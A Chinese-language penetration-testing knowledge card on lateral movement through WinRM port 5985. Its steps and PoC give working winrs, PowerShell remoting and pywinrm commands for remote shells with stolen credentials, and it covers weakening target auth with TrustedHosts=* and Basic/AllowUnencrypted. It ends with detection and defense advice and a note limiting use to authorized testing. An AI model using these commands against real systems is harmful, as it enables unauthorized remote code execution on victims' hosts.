♧ Godown 安全知识树

WinRM 5985 横向接入:winrs/Enter-PSSession 交互会话与 pywinrm Basic 明文认证

pentest/lateral-movement · verified

一句话结论

WinRM 在 5985(HTTP)/5986(HTTPS)上提供 WS-Management 远程管理:目标开启后,攻击者可用 winrs -r:http://<ip>:5985 -u:<user> -p:<pass> cmd 拿到远程 shell,或用 Enter-PSSession -ComputerName <ip> -Credential <user> -Port 5985、New-PSSession 建立/复用 PowerShell 会话;工作组环境下客户端必须先把目标加入 TrustedHosts,若服务端配置了 Basic="true" + AllowUnencrypted="true",还能用 Python pywinrm 直接以明文口令执行命令。该通道同样受 LocalAccountTokenFilterPolicy 约束。

原理

  • 协议与默认配置:WinRM 是 Microsoft 对 WS-Management 的实现,SOAP over HTTP(S);Enable-PSRemoting -force 或 winrm quickconfig 会创建监听器(默认 5985 HTTP,可选 5986 HTTPS)、启动 WinRM 服务并放行防火墙。Windows Server 2012+ 默认自动启动 WinRM,很多企业网络因此天然开放 5985。
  • 认证方式:域环境默认用 Kerberos/Negotiate,域账户无需额外配置即可 Enter-PSSession;工作组/跨域场景下客户端默认无法验证目标身份,winrs/Enter-PSSession 会报 WinRM 客户端无法处理请求,需要 Set-Item wsman:\localhost\Client\TrustedHosts -value *(或指定目标)把目标加入信任列表。
  • Basic + AllowUnencrypted:winrm set winrm/config/service/auth '@{Basic="true"}' 与 winrm set winrm/config/service '@{AllowUnencrypted="true"}' 允许非域客户端用明文用户名/口令走 HTTP;这使 Python pywinrm(winrm.Session('http://ip:5985/wsman', auth=(user,pass)))可直接执行命令,但凭据与命令在网络上明文可见,属于危险配置。
  • 会话模型:winrs 是交互式远程 shell;Enter-PSSession 进入远程 PowerShell 会话;New-PSSession 创建后台会话(可 Get-PSSession 查看、Enter-PSSession -Id/-Name 进入),适合多命令复用与断线重连。WinRM 不占用 RDP 连接数,流量藏在 HTTP/5985 中,比 RDP 更不显眼。
  • 权限约束:WinRM 远程登录对本地账户同样应用 UAC 远程令牌过滤,非 RID500 本地管理员默认只有过滤令牌;需要 LocalAccountTokenFilterPolicy=1 或使用内置 Administrator/域管理员。
  • 为什么可用:目标把 WinRM 当作合法管理面,防火墙通常放行;攻击者拿到管理员凭据后,5985 是最省事的远程执行通道之一,且 winrm invoke create wmicimv2/win32_process 这种一次性调用不需要交互会话。

触发条件

  • 目标 5985(或 5986)可达,WinRM 服务已启动并存在监听器。
  • 持有目标管理员/域管理员凭据;工作组本地账户需考虑 LocalAccountTokenFilterPolicy。
  • 工作组客户端需能修改 TrustedHosts;使用 pywinrm 还需服务端启用 Basic 且允许非加密(或使用 HTTPS + 证书)。
  • 目标防火墙未阻断 5985/5986。

利用步骤

  1. 探针:winrm enumerate winrm/config/listener 或端口扫描确认 5985 开放;winrm get winrm/config 查看认证方式、AllowUnencrypted、TrustedHosts。
  2. 工作组客户端设置信任:Set-Item wsman:\localhost\Client\TrustedHosts -value *(或写目标 IP)。
  3. 交互 shell:winrs -r:http://<target>:5985 -u:<user> -p:<pass> cmd;或在 PowerShell 中 Enter-PSSession -ComputerName <target> -Credential <user> -Port 5985。
  4. 后台会话:New-PSSession -Name test -ComputerName <target> -Credential <user>,Get-PSSession 查看,Enter-PSSession -Id 1 或 -Name test 进入;用 Invoke-Command -Session 批量执行。
  5. 非交互一次性执行:winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="cmd.exe /c ..."}'(无回显,适合配合正向后门)。
  6. Python 接入(服务端需已配置 Basic/AllowUnencrypted):pip install pywinrm,脚本中用 winrm.Session('http://<target>:5985/wsman', auth=(user,pass)).run_cmd(cmd) 循环执行。
  7. 清理:删除 TrustedHosts 条目、关闭不需要的监听器/会话;如修改过服务端配置则还原。

PoC

# 目标侧开启与查看(攻击者拿下某主机后可横向开启管理面)
Enable-PSRemoting -force
winrm quickconfig -q
Set-Service WinRM -StartMode Automatic
winrm enumerate winrm/config/listener
winrm get winrm/config

# 工作组客户端信任目标
Set-Item wsman:\localhost\Client\TrustedHosts -value *
# 交互与后台会话
winrs -r:http://192.168.3.170:5985 -u:micle -p:admin cmd
Enter-PSSession -ComputerName 192.168.3.170 -Credential micle -Port 5985
New-PSSession -Name test -ComputerName 192.168.3.170 -Credential micle
Get-PSSession
Enter-PSSession -Name test
# 服务端开启 Basic + AllowUnencrypted 后,pywinrm 明文认证执行
import winrm
s = winrm.Session('http://192.168.3.170:5985/wsman', auth=('micle', 'admin'))
r = s.run_cmd('whoami')
print(r.std_out.decode('GBK'), r.std_err.decode())

说明:命令按原文测试环境整理,未复跑;Basic+AllowUnencrypted 仅适用于授权测试的隔离环境。

变体与关联

  • 关联:CS beacon 等无回显环境下 winrs 句柄无效时改用 winrm invoke Create wmicimv2/win32_process 的变体见 [[pentest-lateral-movement-winrm-invoke-create-win32-process-beacon]];本卡覆盖交互式会话、后台会话与 pywinrm 接入。
  • 变体:evil-winrm(Ruby)常配合 hash 登录;5986 HTTPS 可绕过“明文 HTTP 被检测”的规则;域环境优先 Kerberos 而非 Basic。
  • 关联:工作组本地管理员远程令牌限制见 [[pentest-lateral-movement-localaccounttokenfilterpolicy-workgroup-admin-token]];WMI 135 通道见 [[pentest-lateral-movement-wmihacker-wmi-dcom-135-139]]。
  • 边界:WinRM 服务未启动、5985 被防火墙阻断、禁用 Basic/非加密、启用证书/Kerberos 强制时 pywinrm 明文路径失效;TrustedHosts=* 会降低客户端安全性并可能被审计发现。

检测与防御

  • 检测:内网出现到 5985/5986 的 WS-Man 流量(HTTP POST /wsman、SOAP Envelope),来源为非管理网段;WinRM Operational 日志中的连接/命令执行记录;安全日志 4624 类型 3 后紧跟远程进程创建。
  • 检测:服务端 winrm set ... Basic="true"、AllowUnencrypted="true" 的配置变更(命令行/PSReadLine/注册表);客户端 TrustedHosts 被批量改为 *。
  • 防御:禁用 Basic 与 AllowUnencrypted,强制 HTTPS + 证书或 Kerberos;用组策略限制 WinRM 监听与来源网段;5985 仅对跳板开放;对 WinRM 操作日志集中采集与告警。
  • 响应:封禁来源、吊销凭据、检查 WinRM 配置与 TrustedHosts 是否被篡改,排查通过 WinRM 执行的进程与落地文件。